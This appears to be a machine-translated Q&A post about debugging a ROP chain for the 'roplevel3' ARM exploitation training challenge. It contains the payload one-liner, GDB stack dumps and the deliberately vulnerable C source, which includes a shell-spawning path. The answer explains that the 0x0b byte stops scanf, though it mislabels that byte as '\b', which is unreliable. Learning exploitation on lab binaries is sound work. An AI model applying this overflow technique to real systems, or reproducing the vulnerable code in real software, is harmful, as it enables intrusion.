ARM:ROP链:特定地址上的堆栈溢出失败



我正试图利用Billy Ellis利用挑战。但是,使用全局变量internal_mode(0x00020b44)的地址溢出堆栈是不起作用的。

这是我的ROP链:

python2 -c "import struct; print('A'*20 + struct.pack('<l', int('00010700', 16)) + 'F'*4 + struct.pack('<l', int('00020b44', 16)) + struct.pack('<l', int('000106f4', 16)) + struct.pack('<l', int('00010708', 16)) + struct.pack('<l', int('00010708', 16)))" > input

我终于在GDB:中运行了这个程序

(gdb) disassemble gadget 
Dump of assembler code for function gadget:
=> 0x00010700 <+0>: pop {r0, r1, pc}
0x00010704 <+4>: bx  lr
End of assembler dump.
(gdb) disassemble write_anywhere 
Dump of assembler code for function write_anywhere:
0x000106f4 <+0>: str r0, [r1]
0x000106f8 <+4>: pop {r7, pc}
0x000106fc <+8>: bx  lr
End of assembler dump.
(gdb) x/1xw 0x20b44
0x20b44 <internal_mode>:    0x00000000
(gdb) b *gadget 
Breakpoint 1 at 0x10700
(gdb) run < input 
Starting program: /home/pi/secstock/tutorials/beginners_guide_to_exploitation_on_arm/06/roplevel3 < input
Welcome to ROPLevel3 by @bellis1000
Select an option:
[1] Function
[2] Function (internal)
[3] Exit
Invalid choice.
Breakpoint 1, 0x00010700 in gadget ()

查看堆栈显示internal_mode(0x00020b44)的地址未到达堆栈:

(gdb) x/20xw $sp-8
0xbefff198: 0x41414141  0x00010700  0x46464646  0xbeff0044
0xbefff1a8: 0x00000001  0x00010708  0xb6ffe0c8  0xb6ffddd0
0xbefff1b8: 0x00000000  0x00000000  0x00010418  0x00000000
0xbefff1c8: 0x00000000  0x00000000  0xb6ffc000  0x00000000
0xbefff1d8: 0x5eaf5113  0x56b822e3  0x00000000  0x00000000

如果我将攻击字符串中的地址0x00020b44更改为例如0x00021b 44,则溢出堆栈可以正常工作。

新的攻击字符串:

python2 -c "import struct; print('A'*20 + struct.pack('<l', int('00010700', 16)) + 'F'*4 + struct.pack('<l', int('00021b44', 16)) + struct.pack('<l', int('000106f4', 16)) + struct.pack('<l', int('00010708', 16)) + struct.pack('<l', int('00010708', 16)))" > input

GDB:中的行为

(gdb) run < input 
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/pi/secstock/tutorials/beginners_guide_to_exploitation_on_arm/06/roplevel3 < input
Welcome to ROPLevel3 by @bellis1000
Select an option:
[1] Function
[2] Function (internal)
[3] Exit
Invalid choice.
Breakpoint 1, 0x00010700 in gadget () 
(gdb) x/20xw $sp-8
0xbefff198: 0x41414141  0x00010700  0x46464646  0x00021b44
0xbefff1a8: 0x000106f4  0x00010708  0x00010708  0xb6ffdd00
0xbefff1b8: 0x00000000  0x00000000  0x00010418  0x00000000
0xbefff1c8: 0x00000000  0x00000000  0xb6ffc000  0x00000000
0xbefff1d8: 0xbcec0b6c  0xb4fb789c  0x00000000  0x00000000

问题是,为什么我不能用地址0x00020b44覆盖堆栈?

源代码

roplevel3.c源代码:

#import <stdio.h>
#import <string.h>
#import <unistd.h>
#import <stdlib.h>
volatile int dummy1 = 0;
volatile int dummy2 = 0;
volatile int dummy3 = 0;
volatile int dummy4 = 0;
volatile int dummy5 = 0;
volatile int dummy6 = 0;
volatile int dummy7 = 0;
int internal_mode = 0;
void func()
{
printf("Hello world! Welcome to a function - an function that does absolutely nothing!n");
}
void func_internal()
{
printf("x1b[33mWelcome to a more interesting function with developer-only functionality ;Px1b[0mnWhat would you like to do?n[1] Touch a filen[2] Spawn a shelln[3] Quit functionn");
char input[1];
scanf("%s",input);
if (strcmp(input,"1") == 0) {
system("touch /created_by_roplevel3");
} else if (strcmp(input,"2") == 0) {
system("/bin/sh");
} else if (strcmp(input,"3") == 0) {
} else {
printf("Invalid option");
}
}
void validate(char func_id[])
{
if (strcmp(func_id, "1") == 0) {
func();
} else if (strcmp(func_id,"2") == 0) {
if (internal_mode == 0) {
printf("You do not have permission to launch this function.n");
} else {
func_internal();
}
} else if (strcmp(func_id,"3") == 0) {
exit(0);
} else {
printf("Invalid choice.n");
}
}
void write_anywhere()
{
__asm__("str r0, [r1]");
__asm__("pop {r7, pc}");
}
void gadget()
{
__asm__("pop {r0,r1,pc}");
}
int main(){
int a = 1;
printf("Welcome to ROPLevel3 by @bellis1000nn");
while (a == 1) {
printf("Select an option:n[1] Functionn[2] Function (internal)n[3] Exitn");
char input[8];
scanf("%s", input);
validate(input);
}
return 0;
}

我正在编译如下代码:

clang -c -fno-pie -fno-stack-protector -mno-thumb roplevel3.c
clang -o roplevel3 roplevel3.o

环境

主机

  • qemu arm 3.1.0版

目标(arm未知linux gnueabihf)

  • Raspbian GNU/Linux 8(jessie)
  • Linux raspberrypi 4.4.34+#3 12月1日星期四14:44:23 IST 2016 armv6l GNU/Linux
  • Raspbian clang版本3.5.0-10+rpi1(标签/RERELEASE_350/最终版本)(基于LLVM 3.5.0)

问题在于输入存储到堆栈缓冲区的方式:

char input[1];
scanf("%s",input);

根据scanf:的手册页

s

匹配非空白字符序列;下一个指针必须是指向字符数组的指针,该数组的长度足以容纳输入序列和自动添加的终止空字节("\0")。输入字符串停止在空白处或最大字段宽度处,以先出现的为准。

0x00020b44的地址转换为4个字节:0x44 0x0b 0x02 0x00。由于十六进制字节0x0b代表"\b",这是一个空白字符,它会导致scanf停止解析您的输入。0x21是"!"char,因此不是空白,这就是为什么它不会停止解析。

奇怪的是,因为"\0"不是空白字符,所以您的攻击缓冲区可以包含空字节,但不能包含空白字符。

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